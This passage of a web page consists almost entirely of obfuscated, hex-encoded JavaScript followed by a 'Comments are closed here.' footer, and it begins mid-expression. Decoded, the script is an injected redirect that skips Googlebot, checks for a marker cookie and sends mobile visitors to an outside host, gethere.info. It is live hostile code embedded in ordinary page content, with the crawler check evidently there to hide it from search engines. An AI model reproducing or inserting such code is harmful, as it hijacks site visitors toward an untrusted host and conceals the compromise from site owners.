window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Comments are closed here.